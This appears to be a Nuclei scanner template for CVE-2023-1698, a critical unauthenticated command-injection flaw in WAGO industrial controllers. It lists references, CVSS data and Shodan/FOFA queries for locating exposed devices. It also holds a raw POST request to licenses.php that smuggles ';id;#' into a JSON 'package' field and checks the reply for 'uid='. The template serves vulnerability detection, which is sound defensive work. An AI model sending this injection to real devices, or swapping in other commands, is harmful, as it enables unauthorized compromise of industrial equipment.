WAGO - Remote Command Execution

id: CVE-2023-1698

info:
  name: WAGO - Remote Command Execution
  author: xianke
  severity: critical
  description: |
    In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1698
    - https://cert.vde.com/en/advisories/VDE-2023-007/
    - https://github.com/codeb0ss/CVE-2023-1698-PoC
    - https://github.com/deIndra/CVE-2023-1698
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1698
    cwe-id: CWE-78
    epss-score: 0.81911
    epss-percentile: 0.99609
    cpe: cpe:2.3:o:wago:compact_controller_100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wago
    product: compact_controller_100_firmware
    shodan-query:
      - html:"/wbm/" html:"wago"
      - http.html:"/wbm/" html:"wago"
    fofa-query: body="/wbm/" html:"wago"
  tags: cve2023,cve,wago,rce,vkev,vuln

http:
  - raw:
      - |
        POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"package":";id;#"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"license":'
          - '"name":'
          - 'uid='
          - 'gid='
        condition: and

      - type: status
        status:
          - 200
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